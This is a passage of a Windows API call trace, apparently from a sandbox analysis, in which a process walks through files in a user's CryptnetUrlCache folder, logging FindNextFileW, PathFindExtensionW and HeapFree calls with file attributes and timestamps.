lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xbf763370, ftCreationTime.dwHighDateTime=0x1d2faf2, ftLastAccessTime.dwLowDateTime=0xbf763370, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xbf763370, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x648, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="705A76DE71EA2CAEBB8F0907449CE086_9752C5B2D53EE7A19F7764B52968EC21", cAlternateFileName="705A76~1")) returned 1 [0122.007] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\705A76DE71EA2CAEBB8F0907449CE086_9752C5B2D53EE7A19F7764B52968EC21") returned="" [0122.007] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x69c2b8 | out: hHeap=0x5e0000) returned 1 [0122.007] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xedb2d5e0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xedb2d5e0, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xedb2d5e0, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x22a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="7396C420A8E1BC1DA97F1AF0D10BAD21", cAlternateFileName="7396C4~1")) returned 1 [0122.007] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\7396C420A8E1BC1DA97F1AF0D10BAD21") returned="" [0122.007] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3011f48 | out: hHeap=0x5e0000) returned 1 [0122.007] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x540c1170, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x540c1170, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x312640, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x1d7, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="7423F88C7F265F0DEFC08EA88C3BDE45_D975BBA8033175C8D112023D8A7A8AD6", cAlternateFileName="7423F8~1")) returned 1 [0122.007] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\7423F88C7F265F0DEFC08EA88C3BDE45_D975BBA8033175C8D112023D8A7A8AD6") returned="" [0122.007] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x69c2b8 | out: hHeap=0x5e0000) returned 1 [0122.007] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x28dbdd20, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28dbdd20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd0e4c510, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x1fa, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="7B2238AACCEDC3F1FFE8E7EB5F575EC9", cAlternateFileName="7B2238~1")) returned 1 [0122.007] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\7B2238AACCEDC3F1FFE8E7EB5F575EC9") returned="" [0122.007] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3011f48 | out: hHeap=0x5e0000) returned 1 [0122.007] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x6b2324c0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x6b2324c0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x6b2324c0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x67c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="7B8944BA8AD0EFDF0E01A43EF62BECD0_B2DB1CC4B5F2D2A802D56AAED525802D", cAlternateFileName="7B8944~1")) returned 1 [0122.007] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\7B8944BA8AD0EFDF0E01A43EF62BECD0_B2DB1CC4B5F2D2A802D56AAED525802D") returned="" [0122.007] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x69c2b8 | out: hHeap=0x5e0000) returned 1 [0122.007] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x6b199f40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x6b199f40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x6b199f40, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x6e3, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="7D266D9E1E69FA1EEFB9699B009B34C8_0A9BFDD75B598C2110CBF610C078E6E6", cAlternateFileName="7D266D~2")) returned 1 [0122.009] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\7D266D9E1E69FA1EEFB9699B009B34C8_0A9BFDD75B598C2110CBF610C078E6E6") returned="" [0122.009] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x69c2b8 | out: hHeap=0x5e0000) returned 1 [0122.009] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xefaf7160, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xefaf7160, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xaec313e0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x6e3, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="7D266D9E1E69FA1EEFB9699B009B34C8_1D5A876A9113EC07224C45E5A870E3BD", cAlternateFileName="7D266D~1")) returned 1 [0122.009] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\7D266D9E1E69FA1EEFB9699B009B34C8_1D5A876A9113EC07224C45E5A870E3BD") returned="" [0122.009] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x69c2b8 | out: hHeap=0x5e0000) returned 1 [0122.009] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x6056b480, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6056b480, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x1ef687a0, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x1cf, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="8059E9A0D314877E40FE93D8CCFB3C69_234CB5D64705D4DBB4DA839716359AF0", cAlternateFileName="8059E9~3")) returned 1 [0122.009] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\8059E9A0D314877E40FE93D8CCFB3C69_234CB5D64705D4DBB4DA839716359AF0") returned="" [0122.009] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x69c2b8 | out: hHeap=0x5e0000) returned 1 [0122.009] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x61210960, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x61210960, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xaecc9960, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x1cf, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="8059E9A0D314877E40FE93D8CCFB3C69_294110D6990EE392327F8A606D55BC1E", cAlternateFileName="80273C~1")) returned 1 [0122.009] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\8059E9A0D314877E40FE93D8CCFB3C69_294110D6990EE392327F8A606D55BC1E") returned="" [0122.009] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x69c2b8 | out: hHeap=0x5e0000) returned 1 [0122.009] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x58e24200, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x58e24200, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xae9f5f40, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x1cf, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="8059E9A0D314877E40FE93D8CCFB3C69_50167909FCFE0C66153F1901439CBBA1", cAlternateFileName="8059E9~2")) returned 1 [0122.009] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\8059E9A0D314877E40FE93D8CCFB3C69_50167909FCFE0C66153F1901439CBBA1") returned="" [0122.009] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x69c2b8 | out: hHeap=0x5e0000) returned 1 [0122.009] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x61236ac0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x61236ac0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x3b0b01a0, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x1cf, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="8059E9A0D314877E40FE93D8CCFB3C69_581C904DB5924E46A6C1A8637614A40E", cAlternateFileName="809279~1")) returned 1 [0122.009] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\8059E9A0D314877E40FE93D8CCFB3C69_581C904DB5924E46A6C1A8637614A40E") returned="" [0122.009] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x69c2b8 | out: hHeap=0x5e0000) returned 1 [0122.009] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x58394060, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x58394060, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb0f739c0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x1cf, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="8059E9A0D314877E40FE93D8CCFB3C69_5EA65844B9EF5670A9C002CBD85B10A4", cAlternateFileName="8059E9~1")) returned 1 [0122.009] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\8059E9A0D314877E40FE93D8CCFB3C69_5EA65844B9EF5670A9C002CBD85B10A4") returned="" [0122.009] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x69c2b8 | out: hHeap=0x5e0000) returned 1 [0122.009] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x62378a40, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x62378a40, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xae9a9c80, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x1cf, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="8059E9A0D314877E40FE93D8CCFB3C69_74E943F7DAB6D19E37E4854057155778", cAlternateFileName="80E4BE~1")) returned 1 [0122.009] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\8059E9A0D314877E40FE93D8CCFB3C69_74E943F7DAB6D19E37E4854057155778") returned="" [0122.009] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x69c2b8 | out: hHeap=0x5e0000) returned 1 [0122.009] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x613675c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x613675c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x69bba4a0, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x1cf, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="8059E9A0D314877E40FE93D8CCFB3C69_C080DA2AE431C1A7F3B0C147EEB043ED", cAlternateFileName="803B9E~1")) returned 1 [0122.010] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\8059E9A0D314877E40FE93D8CCFB3C69_C080DA2AE431C1A7F3B0C147EEB043ED") returned="" [0122.010] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x69c2b8 | out: hHeap=0x5e0000) returned 1 [0122.010] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x63c50fe0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x63c50fe0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb100bf40, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x1cf, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="8059E9A0D314877E40FE93D8CCFB3C69_E907D7A04657714B5B06D18BC920971E", cAlternateFileName="803D37~1")) returned 1 [0122.010] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\8059E9A0D314877E40FE93D8CCFB3C69_E907D7A04657714B5B06D18BC920971E") returned="" [0122.010] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x69c2b8 | out: hHeap=0x5e0000) returned 1 [0122.010] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x61021780, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x61021780, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb1058200, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x1cf, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="8059E9A0D314877E40FE93D8CCFB3C69_F2318F7AB33980A131A265454C39CA30", cAlternateFileName="8059E9~4")) returned 1 [0122.010] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\8059E9A0D314877E40FE93D8CCFB3C69_F2318F7AB33980A131A265454C39CA30") returned="" [0122.010] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x69c2b8 | out: hHeap=0x5e0000) returned 1 [0122.010] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x636a9ba0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x636a9ba0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb139e040, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x1cf, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="8059E9A0D314877E40FE93D8CCFB3C69_F6E15778DC8E326895C606FBFA0392EB", cAlternateFileName="800D31~1")) returned 1 [0122.010] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\8059E9A0D314877E40FE93D8CCFB3C69_F6E15778DC8E326895C606FBFA0392EB") returned="" [0122.010] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x69c2b8 | out: hHeap=0x5e0000) returned 1 [0122.010] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x581f7ea0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x581f7ea0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb0f4d860, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x56e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="828298824EA5549947C17DDABF6871F5_0206EFBC540300C3BF0163CDBC3D7D56", cAlternateFileName="828298~1")) returned 1 [0122.010] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\828298824EA5549947C17DDABF6871F5_0206EFBC540300C3BF0163CDBC3D7D56") returned="" [0122.010] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x69c2b8 | out: hHeap=0x5e0000) returned 1 [0122.010] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xec3c5340, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xec3c5340, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xb16257a0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x6e3, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="8828F39C7C0CE9A14B25C7EB321181BA_3DF94EB797096674F7793A562A778C5F", cAlternateFileName="8828F3~1")) returned 1 [0122.010] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\8828F39C7C0CE9A14B25C7EB321181BA_3DF94EB797096674F7793A562A778C5F") returned="" [0122.010] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x69c2b8 | out: hHeap=0x5e0000) returned 1 [0122.010] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x8064ac00, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x8064ac00, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x80670d60, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x6e3, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="8828F39C7C0CE9A14B25C7EB321181BA_C6EF73E4482B2588B1252D1A64B99416", cAlternateFileName="8828F3~2")) returned 1 [0122.010] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\8828F39C7C0CE9A14B25C7EB321181BA_C6EF73E4482B2588B1252D1A64B99416") returned="" [0122.010] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x69c2b8 | out: hHeap=0x5e0000) returned 1 [0122.010] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x6aa2c0a0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6aa2c0a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xadf19ae0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x59d, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="8E4E510F44A56B8C8ECFEC352907C373_411140098D71F028134E9B8A21255C61", cAlternateFileName="8E4E51~1")) returned 1 [0122.010] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\8E4E510F44A56B8C8ECFEC352907C373_411140098D71F028134E9B8A21255C61") returned="" [0122.010] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x69c2b8 | out: hHeap=0x5e0000) returned 1 [0122.010] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x28dbdd20, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28dbdd20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xbddd270, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0xd2da, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="94308059B57B3142E455B38A6EB92015", cAlternateFileName="943080~1")) returned 1 [0122.010] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\94308059B57B3142E455B38A6EB92015") returned="" [0122.011] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3011f48 | out: hHeap=0x5e0000) returned 1 [0122.011] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x6a83cec0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a83cec0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xaebe5120, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x5e0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="955CAB6FF6A24D5820D50B5BA1CF79C7_AD9E7615297A3A83320AACE5801A04F9", cAlternateFileName="955CAB~1")) returned 1 [0122.011] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\955CAB6FF6A24D5820D50B5BA1CF79C7_AD9E7615297A3A83320AACE5801A04F9") returned="" [0122.011] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x69c2b8 | out: hHeap=0x5e0000) returned 1 [0122.011] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xbf3f73d0, ftCreationTime.dwHighDateTime=0x1d2faf2, ftLastAccessTime.dwLowDateTime=0xbf3f73d0, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xbf3f73d0, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x5ab, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="9BC2FFC5D9591E1BD3545230E9B7CC36_CF30943571F9BEE96C487B2D9F0436E6", cAlternateFileName="9BC2FF~1")) returned 1 [0122.011] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\9BC2FFC5D9591E1BD3545230E9B7CC36_CF30943571F9BEE96C487B2D9F0436E6") returned="" [0122.011] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x69c2b8 | out: hHeap=0x5e0000) returned 1 [0122.011] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xe06277d0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe06277d0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xb15d94e0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x652, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="9C888BEABCCBC2A97B0D6D9214C3BA37_1213DC6F71E4C3B05E7BCEEBC203A31E", cAlternateFileName="9C888B~1")) returned 1 [0122.012] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\9C888BEABCCBC2A97B0D6D9214C3BA37_1213DC6F71E4C3B05E7BCEEBC203A31E") returned="" [0122.012] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x69c2b8 | out: hHeap=0x5e0000) returned 1 [0122.012] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xe07ca6f0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe07ca6f0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0x965accc0, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x652, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="9C888BEABCCBC2A97B0D6D9214C3BA37_EBC75728C6119A77E4DA8559DD10F061", cAlternateFileName="9C888B~2")) returned 1 [0122.012] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\9C888BEABCCBC2A97B0D6D9214C3BA37_EBC75728C6119A77E4DA8559DD10F061") returned="" [0122.012] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x69c2b8 | out: hHeap=0x5e0000) returned 1 [0122.012] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x54bc3730, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x54bc3730, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb11d4fc0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x1d7, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="A9E4F776657345B52012CE8E279D314C_183A5BE0B233CC1D513955FABECF9450", cAlternateFileName="A9E4F7~1")) returned 1 